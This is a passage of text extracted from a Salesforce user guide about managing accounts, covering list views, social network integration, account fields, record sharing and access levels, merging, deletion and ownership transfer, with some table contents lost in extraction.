from the View drop-down list, or click Create New View to define your own custom view. To edit or delete any view you
created, select it from the View drop-down list and click Edit.
If Chatter is enabled, click Chatter in the top-right corner to see feed updates for the list view. Click List to toggle
back to the list view.
Click New Account or select Account from the Create New drop-down list in the sidebar to create an account.
or
Click the Open Calendar link at the bottom of the page to display a weekly view of a calendar underneath the list. Then,
you can drag a record from the list to a time slot on the calendar to quickly create an event associated with the record. Note
that your administrator controls the availability of drag-and-drop scheduling.
74
Accounts
Using Accounts
Click any column heading to sort in ascending or descending order using that columns information.
At the top of the list, click a letter to display the contents of the sorted column that begin with that character.
If your organization uses person accounts and your current list view includes the field Is Person Account, the column
heading for this field is the person account icon ( ). Click the person account icon in the header to sort person accounts
at either the top or bottom of the list.
Note: If your organization has Salesforce for Wealth Management, accounts are called clients.
See Also:
Accounts Home
What is a Person Account?
Customizing User Interface Settings
Working with Enhanced Lists
Using Inline Editing in Lists
Printing List Views
Using Accounts
Business accounts available in: All Editions except Database.com
Person accounts available in: Enterprise, Unlimited, and Developer Editions
Read on accounts
Edit on accounts
Manage Partners
Edit on accounts
AND
Manage Partners
Edit on accounts
AND
Edit Self-Service Users
An account is an organization, company, or consumer that you want to trackfor example, a customer, partner, or competitor.
75
Accounts
Using Accounts
See Also:
Account Fields
Viewing Parent Accounts
Creating Accounts
Social Accounts, Contacts, and Leads Overview
Data.com Product Suite Overview
Changing the Record Type Field
Changing the Territories of an Account
Account History
76
Accounts
Read on accounts
Edit on accounts
Manage Partners
Edit on accounts
AND
Manage Partners
Edit on accounts
AND
Edit Self-Service Users
Once you have located an account on the Accounts home or list pages, click the account name to display detailed information.
Use inline editing to edit fields directly on the detail page. If inline editing isn't enabled, contact your administrator.
To display the page in edit mode, click Edit, make your changes, and click Save.
To save the current account and create another one, click Save & New.
To open a printable display of the record details, in the top-right corner of the page, click Printable View.
To enable an account as a partner account, click Work with Portal and choose Enable As Partner. Available only if your
company enabled a partner portal.
To enable person accounts as Customer Portal users, click Work with Portal and choose Enable Customer Portal User.
Available only if your company has person accounts and a Customer Portal.
Note: As the owner of an account, you can normally view all data related to that account.
However, your administrator can set an option on your role that determines whether you can view opportunities that
you do not own that are associated with your accounts.
Also, if your accounts are assigned to territories, your administrator can set options that determine whether users in
that territory can view, edit, transfer, or delete your accounts.
77
Accounts
When using Social Accounts and Contacts for accounts, you can:
Sign in to your social network accounts from any account detail page.
Find your customers Facebook, LinkedIn, and Twitter profiles and link them to their account records, so you can view
this information from account detail pages.
Find YouTube videos related to your accounts and play them from account detail pages.
See your accounts Klout information from account detail pages.
Modify default search criteria if youre having trouble locating an accounts social information.
Configure your Social Accounts and Contacts settings so the Social Accounts and Contacts viewer only shows the social
networks that you want to use.
See Also:
Social Accounts, Contacts, and Leads Overview
Enabling and Configuring Social Accounts and Contacts
Read on accounts
To sign in to your social network accounts from person account Read on accounts and contacts
detail pages:
To get started using Social Accounts and Contacts, you first need to sign in to your social network accounts from any account,
contact, or lead detail page. This creates private connections between Salesforce and your social network accounts, allowing
you to see external social profiles in Salesforce. These connections persist in future Salesforce sessions so you don't have to
sign in to your social network accounts again unless you sign out in the Social Accounts and Contacts viewer.
78
Accounts
Note: You can see YouTube videos without doing these steps. The Klout service is only available when youre signed
in to your Twitter account..
To sign in to your social network accounts from an account detail page:
1. On the Accounts home page or in an Accounts list view, click an accounts name to display the detail page. You can sign
in from any account detail page that you have permission to read.
2. In the header on the detail page, click a social network icon (
).
3. Click the Sign in button on the Social Accounts and Contacts viewer.
4. Enter your social network account credentials and authorize Salesforce to access your account.
Your Salesforce account and social network account are now connected.
Repeat these steps to create connections for your other social network accounts.
See Also:
Using Social Accounts
Social Accounts, Contacts, and Leads Overview
Edit on accounts
Read on accounts
Once you have signed in to your social network accounts from Salesforce, use Social Accounts and Contacts to find your
customers' Facebook, LinkedIn, and Twitter profiles and link them to their account records. Then you can view this information
directly from account detail pages in Salesforce.
1. On the Accounts home page or in an Accounts list view, click an accounts name to display the detail page.
2. In the header on the detail page, click a social network icon (
).
3. If a social network profile isnt associated with the account yet, Salesforce automatically searches for profiles that match
the account name on the account record. Click the correct profile in the search results displayed on the Social Accounts
and Contacts viewer.
79
Accounts
Tip: If the default search doesn't find the correct profile, search again using different search terms.
The profile that you select is linked to the Salesforce record, so other Salesforce users who access the record can also view
the profile.
4. View the social information that your account is sharing with you.
Note: Depending on the accounts privacy settings, you may not see as much information as you would if logged
directly into your social network account.
5. You can also:
Click Show Photo in Salesforce to display the accounts profile picture on the account detail page.
Click View Full Profile to see the accounts complete social network profile directly in the social network.
Click Find Different Profile to change the social network profile that is linked to the account record.
Click Sign Out to close the private connection between Salesforce and your social network account. When you do this,
you're unable to see your accounts social network profiles until you sign in again.
Repeat these steps to find and view the accounts other social network profiles. You can use the tabs on the Social Accounts
and Contacts viewer to easily switch between the different social networks.
See Also:
Using Social Accounts
Viewing YouTube Videos about Your Accounts
Viewing Your Accounts Klout Information
Social Accounts, Contacts, and Leads Overview
Read on accounts
You can use Social Accounts and Contacts to find YouTube videos related to your accounts and play them from account detail
pages in Salesforce.
1. On the Accounts home page or in an Accounts list view, click an accounts name to display the detail page.
2. In the header on the detail page, click the YouTube icon ( ).
3. In the YouTube search results, click the video that you want to watch.
80
Accounts
Tip: If the default search doesn't find videos for the correct company, search again using different search terms.
4. The YouTube player opens in the Social Accounts and Contacts viewer and the video begins playing.
See Also:
Using Social Accounts
Viewing Your Accounts' Social Network Profiles
Viewing Your Accounts Klout Information
Social Accounts, Contacts, and Leads Overview
Read on accounts
You can use Social Accounts and Contacts to see your accounts Klout information, directly from account detail pages in
Salesforce.
Note:
The Klout service is dependent on Twitteran administrator must enable Twitter in your organizations Social
Accounts and Contacts settings and you must be signed in to your Twitter account. You dont need a Klout account,
or have to be signed in to your Klout account, to see Klout information in Salesforce.
Before Klout information is available for an account, you or someone else in your organization needs to associate a
Twitter profile with the account record.
To see Klout information for an account:
1. On the Accounts home page or in an Accounts list view, click an accounts name to display the detail page.
2. In the header on the detail page, click the Klout icon ( ).
3. View the accounts Klout information.
See Also:
Using Social Accounts
Viewing Your Accounts' Social Network Profiles
Viewing YouTube Videos about Your Accounts
Social Accounts, Contacts, and Leads Overview
81
Accounts
When you want to associate a social network profile with an accounteither for the first time or if youre switching to a
different profile using the Find Different Profile buttonthe Social Accounts and Contacts feature uses the Account Name
field on the account record as the default search criteria. The default search criteria is also used when you want to find YouTube
videos related to an account.
Here are some tips if youre having trouble finding an accounts social information.
If the default search can't locate your accounts social network profile or YouTube videos related to the account, enter
different keywords in the search box on the Social Accounts and Contacts viewer and click Search.
For business accounts, the account name on the Salesforce record may not exactly match the company name used in their
social network account or in YouTube video keyword tags. Try different variations of the account name, such as Universal
Paper or Universal Paper, Incorporated instead of Universal Paper, Inc.
Similarly for person accounts, the account name in Salesforce may differ from your person accounts social network user
name or the persons name used in YouTube video keyword tags. Try different variations of the person accounts name;
for example, search for Maddie Rigsby instead of Madison Rigsby.
If you still can't find the correct profile, your Salesforce account may not be active in any social networks or their privacy
settings may be blocking you from finding their profile in a search. If your YouTube searches are still unsuccessful, the account
may not be featured in any videos shared on YouTube.
See Also:
Using Social Accounts
Social Accounts, Contacts, and Leads Overview
If the Social Accounts and Contacts feature is enabled for your organization, you can turn off social networks that you don't
want to use. You can also turn off the Social Accounts and Contacts feature, if needed.
1. Click Your Name > Setup > My Social Accounts and Contacts > Settings.
2. Click Change your Social Accounts and Contacts settings.
82
Accounts
3. Customize Social Accounts and Contacts so it works the way you want it to.
Select the social networks that you want to use. Deselect any of the services that you don't want to use.
Deselect Use Social Accounts and Contacts to turn off the Social Accounts and Contacts feature entirely. Select this
checkbox to turn the feature back on if you change your mind.
4. Click Save.
See Also:
Social Accounts, Contacts, and Leads Overview
Security and Privacy When Using Social Accounts and Contacts
Using Social Accounts
Social Accounts, Contacts, and Leads Overview
Security and Privacy When Using Social Accounts and Contacts
Using Social Contacts
Social Accounts, Contacts, and Leads Overview
Security and Privacy When Using Social Accounts and Contacts
Using Social Leads
Read on accounts
Edit on accounts
Manage Partners
Edit on accounts
AND
Manage Partners
Edit on accounts
AND
Edit Self-Service Users
83
Accounts
Hover over the links at the top of a detail page to display the corresponding related list and its records. If Chatter is enabled,
hover links display below the feed. An interactive overlay allows you to quickly view and manage the related list items.
Click a hover link to jump to the content of the related list. If hover links are not enabled, contact your Salesforce
administrator.
If hover details are enabled, hover over any lookup field on the detail page to view key information about a record before
clicking into that record's detail page.
To directly add new items, click New (or the equivalent button) at the top of a related list. For example, to add a task to
the Open Activities related list, click New Task.
To change the number of records shown for related lists, click View More below a related list, or click fewer or more at
the bottom of the page.
If you are unable to see related records that belong to portal users, ask your Salesforce administrator to add you to the
portal share groups with access to the portal users' data.
Personal customization
Administrator's page layout customizations
Permissions to view related data
The kind of account you are viewinga business account or a person accountalso determines the related lists that can be
viewed.
Display a Chatter feed of updates, comments, and posts about the account.
Note: If Chatter isn't enabled, contact your administrator.
Show or hide Chatter feeds using the Show Chatter and Hide Chatter links at the top of a feed.
To view a single feed update, click the timestamp below the update, for example, Yesterday at 12:57 AM. To view the full
feed, above the update, click All Updates.
Following Accounts
When you follow an account, your Chatter feed includes field changes and account feed updates.
84
Accounts
To automatically follow records you create, go to Your Name > Setup > My Chatter Settings > My Feeds and select
Automatically follow records I create. When you create person accounts, you can only auto-follow the account fields, not
the contact fields.
See Also:
Chatter Overview
Using Chatter Feeds
Manage Territories
OR
You are a forecast manager, Forecast managers can
manage territories is selected, and you are working
below your position in the territory hierarchy.
See Also:
Using Accounts
Territory Management Overview
Manually Assigning Accounts to Territories
85
Accounts
Account History
Account History
Business accounts available in: All Editions except Database.com
Person accounts available in: Enterprise, Unlimited, and Developer Editions
Read on accounts
The Account History related list of an account detail page tracks the changes to the account. Any time a user modifies any of
the standard or custom fields whose history is set to be tracked on the account, a new entry is added to the Account History
related list. For person accounts, this includes any relevant contact fields that are set to be tracked. All entries include the date,
time, nature of the change, and who made the change. Modifications to the related lists on the account are not tracked in the
account history. For information about setting up which fields are tracked, see Tracking Field History on page 1100.
Creating Accounts
Business accounts available in: All Editions except Database.com
Person accounts available in: Enterprise, Unlimited, and Developer Editions
Read on accounts
Create on accounts
1. Select Account from the Create New drop-down list in the sidebar, or click New next to Recent Accounts on the accounts
home page.
If your organization has enabled person accounts, you must first specify whether the record type is a business account or
person account.
2. Enter the information for the account.
To specify that a business account is a subsidiary of another business account, fill in the Parent Account field. You
can then view a hierarchy of account relationships. The Parent Account field isnt available for person accounts.
Use the Account Site field to designate different locations of the same company. For example, Acme.com may have
offices in Paris and London. Create two accounts, both called Acme.com, but with Account Site values of Paris
and London, respectively.
3. Click Save when you are finished, or click Save & New to save the current account and add another.
86
Accounts
Account Fields
If Quick Create has been enabled by your administrator, you can add a new account from the Quick Create area in the
sidebar on the accounts home page. If your organization uses person accounts and your default record type for the Accounts
tab is a person account record type, then the Quick Create fields include First Name and Last Name instead of Account
Name. Validation rules don't apply if you create new records for an object with Quick Create.
Enterprise, Unlimited, and Developer Edition organizations can activate record types and ask you to choose a Record
Type when creating an account. This determines the picklist values available when creating and editing a record.
If your organization uses divisions, the division of a new account is automatically set to your default division, unless you
manually select a different one.
If your organization uses territory management, account assignment rules can automatically assign newly created accounts
to territories. See Territory Management Overview on page 2638.
See Also:
Account Fields
Sharing Accounts
Viewing Parent Accounts
Accounts Home
What is a Person Account?
Account Fields
Business Account Fields
The available business account fields vary according to which Salesforce Edition you have.
Person accounts available in: Enterprise, Unlimited, and Developer Editions
The available person account fields vary according to which Salesforce Edition you have.
A business account has the following fields, listed in alphabetical order. Depending on your page layout and field-level security
settings, some fields may not be visible or editable. (Field-level security is available in Enterprise, Unlimited, and Developer
Editions only.)
If the account record was added from Data.com, certain fields, as identified here, will be populated with the Data.com value,
if a value is available. Some Data.com fields are available only to organizations that use Data.com Corporate or Data.com
Premium. Those fields are identified in their descriptions.
Note: Administrators can customize the display labels of standard fields.
Field
Description
Account Currency
87
Accounts
Field
Account Fields
Description
Account Name
Account Number
Account Owner
Account Site
Account Source
Annual Revenue
88
Accounts
Field
Account Fields
Description
Billing City
Billing State/Province
Billing Country
Clean Status
Data.com Key
89
Accounts
Field
Account Fields
Description
Description
Description of account. Up to 32 KB of
data are allowed in this field. Only the
first 255 characters display in reports.
D-U-N-S Number
Note:
To see the entire D-U-N-S
number, either
90
Accounts
Field
Account Fields
Description
Fax
Industry
Modified By
NAICS Code
NAICS Description
91
Accounts
Account Fields
Field
Description
Ownership
Parent Account
Partner Account
Phone
Rating
Shipping Street
Shipping City
Shipping State/Province
Shipping Country
SIC Code
SIC Description
92
Accounts
Account Fields
Field
Description
Territories
Ticker Symbol
Tradestyle
Type
Custom Links
Website
Year Started
Description
Account Currency
Is Contact Field
93
Accounts
Field
Account Fields
Description
Is Contact Field
Account Name
Account Number
Account Owner
Account Site
Annual Revenue
Assistant
Asst. Phone
Billing City
Billing Country
Billing State/Province
94
Accounts
Account Fields
Field
Description
Is Contact Field
Billing Street
Birthdate
Created By
Custom Links
Department
Description
Description of account. Up to 32 KB of
data are allowed in this field. Only the
first 255 characters display in reports.
Do Not Call
Employees
95
Accounts
Field
Account Fields
Description
Is Contact Field
First Name
Home Phone
Industry
Last Name
Lead Source
Mailing City
Mailing Country
Mailing State/Province
Mailing Street
96
Accounts
Account Fields
Field
Description
Is Contact Field
Mobile
Modified By
Other City
Other Country
Other Phone
Other State/Province
Other Street
Ownership
Phone
Rating
Salutation
97
Accounts
Field
Account Fields
Description
Is Contact Field
Shipping Country
Shipping State/Province
Shipping Street
SIC Code
Territories
Ticker Symbol
Title
Type
Website
98
Accounts
Field
Description
Is Contact Field
See Also:
Data.com Product Suite Overview
Read on accounts
Read on accounts
The account hierarchy shows you the accounts that are associated through the Parent Account field, giving you a global
view of a company and its subsidiaries. In the hierarchy, accounts are indented to show that they are subsidiaries of the parent
account above them.
To view the account hierarchy, click View Hierarchy next to the account name on the account detail page. The Account
Hierarchy page displays up to 500 child accounts. If you dont have access to certain accounts that appear on the Account
Hierarchy page, the columns for those accounts wont display details.
To list an account as a subsidiary, edit the subsidiary account and type the name of an existing account in the Parent
Account field. Alternatively, you can click the lookup icon to search for (or optionally, create) a parent account.
The parent account must be an existing account before it can be entered and saved in this field.
For companies with multiple office locations, you can also use the Account Site field to distinguish among the locations.
If your organization uses divisions, accounts that are associated via the Parent Account field do not need to be in the same
division.
The Parent Account field and the View Hierarchy link are not supported for person accounts.
See Also:
Using Accounts
Creating Accounts
What is a Person Account?
99
Accounts
Sharing Accounts
Sharing Accounts
Available in: Professional, Enterprise, Unlimited, and Developer Editions
Your administrator defines your organization's sharing model as well as your organization's default account access levels for
territories. However, you can extend sharing privileges for your own data on an account-by-account basis. You can use account
sharing to increase access to your accounts; you cannot restrict access beyond your organizations default access levels.
To view and manage sharing details, click Sharing on the account detail page. The Sharing Detail page lists the users, groups,
roles, and territories that have sharing access to the account. On this page, you can do any of the following:
To show a filtered list of items, select a predefined list from the View drop-down list, or click Create New View to define
your own custom view. To edit or delete any view you created, select it from the View drop-down list and click Edit.
Click Add to grant access to the record for other users, groups, roles, or territories.
Note: When you share an account, Salesforce prompts you to share any related contacts, opportunities, or cases,
up to and including your access level. Enterprise, Unlimited, and Developer Edition users can also share related
records from the record detail pages. Ensure users have at least Read permission on shared records.
Alternatively, you can share account access by creating an account team.
Click Expand List to view all users that have access to the record.
For manual sharing rules that you created, click Edit or Del next to an item in the list to edit or delete the access level.
For accounts, you can also edit the Owner sharing rule.
See Also:
Granting Access to Records
Viewing Which Users Have Access
Territory Management Overview
Sharing Opportunities
Sharing Contacts
Sharing Cases
Account Teams Overview
100
Accounts
Users can manually grant access to certain types of records. In some cases, granting access includes access to all associated
records. For example, if you grant another user access to your account, the user will automatically have access to all the
opportunities and cases associated with that account. To grant sharing privileges for a record, you must be the record owner,
any user granted Full Access, an administrator, or (provided your sharing settings control access through hierarchies) a user
in a role above the owner in the hierarchy.
Note: Users that gain access to data due to their position in hierarchies do so based on a setting in your
organization-wide defaults.
To grant access to a record:
1. Click Sharing on the record you want to share.
2. Click Add.
3. From the drop-down list, select the type of group, user, role, or territory to add.
Your choices are:
Type
Description
Public Groups
Personal Groups
Users
Roles
This includes all of the users in the role plus all of the users
in roles below that role. Only available when no portals are
enabled for your organization.
101
Accounts
Type
Description
Territories
Includes all users in the territory plus the users below that
territory. This option is only available if your organization
uses territory management.
4. Choose the specific groups, users, roles, or territories who should have access by adding their names to the New Sharing
list.
5. Choose the access level for the record you are sharing and any associated records that you own.
The possible access levels are:
Access Level
Description
Full Access
User can view, edit, delete, and transfer the record. User can
also extend sharing access to other users; however, the user
cannot grant Full Access to other users.
Read/Write
User can view and edit the record, and add associated
records, notes, and attachments to it.
Read Only
User can view the record, and add associated records to it.
They cannot edit the record or add notes or attachments.
Private
Note:
When sharing an opportunity or case, users must also have at least read access to the associated account (unless
you are sharing a case via a case team). If you also have privileges to share the account, users are automatically
given read access to the account. If you do not have privileges to share the account, you must ask the account
owner to give the users read access to it.
Contact Access is not available when the organization-wide default for contacts is set to Controlled by
Parent.
For sharing rules that specify access for associated object records, the given access level applies to that sharing
rule only. For example, if an account sharing rule specifies Private as the access level for associated contacts, a
user may still have access to associated contacts via other means, such as organization-wide defaults, the Modify
All Data or View All Data permission, or the Modify All or View All permission for contacts.
6. When sharing a forecast, select Submit Allowed to enable the user, group, or role to submit the forecast.
7. Select the reason for the share to allow users and administrators to understand the source of the sharing. For more information
on sharing reasons, see Creating Apex Sharing Reasons on page 634.
8. Click Save.
102
Accounts
See Also:
Sharing Accounts
Sharing Campaigns
Sharing Cases
Sharing Contacts
Sharing Custom Object Records
Sharing Leads
Sharing Opportunities
Viewing Which Users Have Access
Case Teams Overview
Controlling Access Using Hierarchies
Manually Sharing a Forecast
After you have granted access to a record you own, you can view a list of users who have access to the record and its related
information. High-volume portal users and Customer Portal super users are excluded from this list. You can also see an
explanation of each user's access.
1. Click Sharing on the desired record.
2. Click Expand List to view a detailed list of every user who has access that is greater than the organization-wide default
settings.
The list also shows each users access level for the record and any associated records. To show a filtered list of items, select
a predefined list from the View drop-down list, or click Create New View to define your own custom view.
The possible access levels are:
Access Level
Description
Full Access
User can view, edit, delete, and transfer the record. User can
also extend sharing access to other users; however, the user
cannot grant Full Access to other users.
Read/Write
User can view and edit the record, and add associated
records, notes, and attachments to it.
Read Only
User can view the record, and add associated records to it.
They cannot edit the record or add notes or attachments.
103
Accounts
Access Level
Description
Private
Note: For sharing rules that specify access for associated object records, the given access level applies to that sharing
rule only. For example, if an account sharing rule specifies Private as the access level for associated contacts, a user
may still have access to associated contacts via other means, such as organization-wide defaults, the Modify All
Data or View All Data permission, or the Modify All or View All permission for contacts.
In addition, for forecast sharing, the list shows whether the user can submit a forecast (in forecasting versions where sharing
is available).
3. Click Why? next to a users name to find out why the user has access to the record.
If there are multiple reasons with different access levels, the user is always granted the most permissive access level.
The possible reasons are:
Reason
Description
Account Sharing
The user was granted access via the Sharing button on the
associated account.
Account Team
Account Territory
Administrator
The user has the Modify All Data or View All Data
administrative permission, or the Modify All or View All
object permission.
The portal user or any role above the portal user's role has
access to the account for which the portal user is a contact.
The user has access via a case sharing rule created by the
administrator.
104
Accounts
Reason
Description
The user has access via a contact sharing rule created by the
administrator.
A user has access to forecast data that was granted via the
Sharing button on the forecast (in forecasting versions where
sharing is available).
Forecast Manager
The user has access via a lead sharing rule created by the
administrator.
Manual Sharing
The user has access that was granted via the Sharing button
on the record.
Owner
The user's role is above the role of a portal user who has
access to the record via ownership or sharing.
Sales Team
105
Accounts
Note: Users that gain access to data due to their position in hierarchies do so based on a setting in your
organization-wide defaults.
See Also:
Sharing Accounts
Sharing Contacts
Sharing Opportunities
Sharing Cases
Sharing Custom Object Records
Setting Your Organization-Wide Sharing Defaults
Controlling Access Using Hierarchies
Sharing Records Owned by High-Volume Portal Users (Service Cloud Portal Users) to Salesforce Users
Manually Sharing a Forecast
Read on accounts
Delete on accounts
Delete on accounts
AND
Read on contacts
1. From the Accounts tab, click Merge Accounts in the Tools section.
2. Enter a search string to find the duplicate accounts.
For example, you can enter acme* to find duplicate accounts listed as Acmes and Acme, Inc. Do not use the local name
for the account. Then click Find Accounts.
3. Check the rows of up to three accounts you want to merge. Click Next.
4. Select one account as the Master Record. Any data in hidden or read-only fields will be taken from the Master Record.
However, administrators, and users with the Edit Read Only Fields permission, can manually select which read-only
fields to retain. Note that hidden fields are not displayed during the merge.
5. Select the fields that you want to retain from each record.
When there is conflicting data, the fields in the left column are preselected and the row is marked in blue.
106
Accounts
You can merge accounts if you are an administrator, the account owner, or a user above the account owner in the role
hierarchy and you have the appropriate user permissions.
When merging two accounts that you do not own, you must have Delete permissions on accounts and Edit permissions
on opportunities and cases. You need Delete permissions on accounts because you are deleting one of the accounts when
you perform an account merge. You need Edit permissions on opportunities and cases because changing the account
name field (AccountID) edits any opportunities or cases that are associated with the accounts you are merging.
Any related items from any of the duplicate accounts will be associated with the newly merged account.
In Professional, Enterprise, Unlimited, and Developer Edition organizations, any sharing rules are applied to the newly
merged account. Also, any manual sharing from the Master Record is applied to the merged account.
When you merge accounts that are listed in the Parent Account field of other accounts, the newly merged account is
linked only to the accounts of the selected Master Record.
All discarded duplicate records are moved to the Recycle Bin.
The newly merged account displays the Created By date from the oldest account you are merging, and shows the merge
date as the Modified By date.
If both accounts have different account teams, the merged account will contain members from both account teams.
In organizations that use divisions, the merged account is assigned to the division of the Master Record, unless you select
otherwise.
When you merge accounts that have territories and the Exclude from account assignment rules box was
deselected on both of the original accounts, account assignment rules will run on the new account to determine its territories.
Also, any manually added territories on the original accounts will be manually added to the new account.
When you merge accounts that have territories and the Exclude from account assignment rules box was checked
on one or both of the original accounts:
The newly merged account has all of the territories of the original accounts.
Account assignment rules will not run on the newly merged account.
If a territory was assigned to one of the original accounts based on account assignment rules, it will appear as having
been assigned to the new account based on rules even if the new account does not match the rules.
If a territory was manually assigned to one of the original accounts, it will be manually assigned to the new account.
If a territory was added to one account manually and to the other account by rules, it will be manually added to the
new account.
When you merge accounts, you also merge the accounts' memberships in relationship groups. For more information, see
Merging Accounts Associated with Relationship Groups on page 108.
If your organization uses person accounts, both business accounts and person accounts are returned when you search for
duplicates. However, you cannot merge a person account with a business account or vice versa. Person accounts are indicated
by the person account icon ( ).
You can't merge person accounts enabled to use a Customer Portal.
You must have the Manage Users permission to merge accounts associated with portals.
You can merge accounts that have contacts associated with the same type of portal. For example, you can merge accounts
that have contacts associated with a partner portal or Customer Portal, but you cannot merge an account that has contacts
associated with a partner portal with an account that has contacts associated with a Customer Portal.
107
Accounts
When you merge accounts that have contacts associated with multiple portals of the same type, a contact's access to a
specific portal does not change. This is because a portal user's profile determines the portal he or she can access.
When merging a partner account with a non-partner account, the partner account must be the master.
When merging partner accounts with a non-partner account, the owner cannot be changed.
To ensure that merged accounts will include contacts associated with a portal, select the account with portal users as the
master record during the merge process.
See Also:
Merging Duplicate Contacts
What is a Person Account?
Creating Partner Accounts
Delete on accounts
When working with wealth management accounts (clients), you can merge up to three duplicate accounts at a time. For
example, if the accounts Joe Bannon all represent the same client and need to be merged, you can use the Merge Accounts
tool to consolidate those records into one. When you merge accounts, you also merge the accounts' memberships in relationship
groups. Note that merging results in a single account, and an account cannot exist more than once in the same relationship
group. Review the following considerations before merging accounts that are members of relationship groups:
The account you select as the master record retains its original relationship group memberships. For example, if the master
record Joseph Bannon was a member of the Bannon Family and Bannon Law Firm relationship groups, it remains
a member of those relationship groups.
The master record replaces the non-master records in all other relationship groups involved in the merge. For example, if
the non-master record Joe Bannon was a member of Bannon Trust Beneficiaries, the master record is transferred Joe
Bannon's membership in Bannon Trust Beneficiaries.
If there is a relationship group to which the master record did not originally belong but the multiple non-master records
belong, the master record is transferred the membership of the non-master account that had higher priority (primary versus
secondary) or the account whose member record was most recently modified in the relationship group. For example, if the
non-master records JR Bannon and Joe Bannon both were members of Acme LLP and JR Bannon was primary, then
the master record is transferred JR Bannon's membership in Acme LLP. Alternatively, if neither JR Bannon or Joe Bannon
108
Accounts
were primary or secondary but JR Bannon's member record in the relationship group was modified more recently, then
the master record would be transferred JR Bannon's membership in Acme LLP.
See Also:
Merging Duplicate Accounts
Removing Members from Relationship Group Members
A local name stores a translated value for a corresponding account, contact, or lead field. For example, you can store the name
of an account in the default language of your organization as well as the accounts or users language. The following fields can
have corresponding local names:
Standard Field
Account Name
Lead: Company
Local names do not affect the users language settings. Depending on your page layout settings, they can both be displayed
on the detail or edit page.
To enable the ability to use local names, your administrator must first contact salesforce.com and then add the corresponding
local name fields to your page layout settings.
See Also:
Managing Page Layouts
109
Accounts
Deleting Accounts
Deleting Accounts
Business accounts available in: All Editions except Database.com
Person accounts available in: Enterprise, Unlimited, and Developer Editions
Read on accounts
To delete accounts:
Delete on accounts
To delete an account, click Del next to the account on the accounts list page, or click Delete on the account detail page.
When you delete an account it's moved to the Recycle Bin along with any of these related items:
Contacts
Opportunities
Contracts (if they're not activated)
Activities
Notes
Attachments
Portal roles and groups (if all portal users in the account are disabled)
Partner relationships
Relationship group members
If you undelete an account, any related items are also restored except for:
Relationship group members in some cases. See Removing Members from Relationship Group Members on page 2692.
Portal roles and groups. See Using Accounts on page 75.
You can't delete an account if it has been enabled as a partner account, has associated cases, activated contracts, related
opportunities that are owned by other users, or associated contacts are enabled for the Self-Service portal. In addition, if you
attempt to delete an account that has closed/won opportunities owned by you, a message displays asking you whether you
want to delete the closed/won opportunities along with the account or to cancel the account deletion.
Note: You can delete an account if you are an administrator, the account owner, or a user above the account owner
in the organization role hierarchy, and if you have the appropriate user permission. You do not need the Delete
permission on any associated records that are included in the deletion.
See Also:
Recycle Bin
Deleting Mass Data
Merging Duplicate Accounts
What is a Person Account?
110
Accounts
Read on accounts
See Also:
Search Overview
What is a Person Account?
Changing Ownership
Available in: Contact Manager, Group, Professional, Enterprise Unlimited, and Developer Editions
Transfer Record
Before transferring a record to a new owner, make sure the new owner has at least Read permission on the object.
1. In the object detail page, click Change next to the Owner field.
If you dont see the Change link, you dont have permissions to change record ownership.
2. Enter or select a new owner. In organizations where the Salesforce Customer Portal or partner portal is enabled, you can
filter the results that appear on the user lookup dialog by selecting either a queue or group of users from the Owner or
Assigned To drop-down list.
Note: Only users you are able to transfer ownership to are visible. Neither the User group nor the Roles and
Internal Subordinates group contains Customer Portal or partner users.
111
Accounts
Changing Ownership
3. Select the Send Notification Email checkbox to notify the new owner.
The From email address displayed in the notification is your return email address as set in the Email Address field
of your email settings.
For cases in Professional, Enterprise, Unlimited, and Developer Edition organizations, the email text is determined by the
Case Assigned Template setting specified in the Support Settings. For other records, the email text is automatically
generated and cannot be customized.
4. Depending on the type of object you are transferring and your user permissions, the following checkboxes may also appear:
Checkbox
Description
Appears For
Change Division
Transfers the record to the new owner's division. All records Accounts and leads, if you
related to the account are transferred to the new division as can view or edit the
well.
Division field
Transfer open
Transfers open opportunities owned by other users that are Accounts
opportunities not
associated with the account.
owned by the existing
account owner
Accounts
Accounts
Transfer closed
opportunities
Transfer closed cases Transfers the closed cases associated with the account. This Accounts
Note: If you change an account owner with both Transfer closed opportunities and Keep Sales
Team deselected, the sales team members' access for closed opportunities becomes Private (that is, the sales team
members lose access to any closed opportunities).
5. Click Save to finish.
112
Accounts
After you change a record's owner, the previous owner's visibility reverts to the default sharing setting unless that user is on
an account or sales team.
For example, if the previous owner of an account is on an account team, that user has Read Only or the access specified in
your organization-wide default for accounts, whichever is greater. The previous owner's access to related records remain the
same. This behavior is the same for opportunity owners that are members of a sales team as long as you change ownership
using the API. When you change ownership of an opportunity within Salesforce, you can select the access level you want.
See Also:
Transferring Records Overview
Mass Transferring Records
Assigning Leads
Assigning Cases
Changing Document Authors
Editing Email Settings
Territory Management Overview
When you change record ownership, some associated items that are owned by the current record owner are also transferred
to the new owner.
Important: Workflow rules that update owners do not also transfer associated items. To ensure transfer, click Change
next to the owners name in a record and make your transfer selections.
Record Type
Accounts
Contacts, contracts with Draft status, attachments, notes, and open activities. Depending
on your selections, this can also include open opportunities not owned by the current account
owner, closed opportunities, open cases owned by the existing account owner, and closed
cases.
When a partner account is transferred, partner users associated with that account are moved
into the role hierarchy beneath the new owner.
Contracts with Activated status are not transferred to the new owner, however, the new
owner has read-only access to these contracts.
Contacts
Opportunities
Leads
Notes, attachments, and open activities. Open activities are not transferred if you change lead
ownership using the Assign using active assignment rule checkbox.
Cases
Campaigns
113
Accounts
Record Type
Contracts
Custom objects
Note: You can't transfer events to which you have been invited and don't own.
See Also:
Transferring Records Overview
Changing Ownership
Record types determine the picklist values that are available when creating and editing a record. When creating a record, you
can choose the record type if you have different record types available to your profile and you have not set your record type
preferences to bypass the record type selection page. When editing existing records, you can change the record type from the
record detail page.
1. Click Change next to the Record Type field on a record detail page.
Note: For campaign members, click Change next to the Campaign Member Type field on a campaign detail
page. You must have the Marketing User user permission to change the campaign member type.
2.
3.
4.
5.
Select a record type. The available record types are listed at the bottom of the page.
Click Continue.
Make any changes to the record.
Click Save.
Note: Changes are not saved until you click Save; clicking Continue does not save the record.
If your organization uses person accounts, your administrator has configured two different kinds of record types for
your organization's accounts: one for business accounts, and another for person accounts. You can change an account's
114
Activities
Activity Overview
record type only to another record type of the same kind. For example, you cannot change a person account record
type to one designated for business accounts.
See Also:
Setting Record Type Preferences
What is a Person Account?
ACTIVITIES
Activity Overview
Available in: All Editions except Database.com
Activities include tasks, calendar events, and requested meetings. You can define and track activities for many different objects,
including campaigns, accounts, contacts, and leads.
Activities display in related lists on associated records as well as on the Home tab.
Note: Administrators can modify activity fields and control the page layouts for tasks and events.
See Also:
Activity Accessibility
Creating Activities
Searching for Activities
Activity Fields
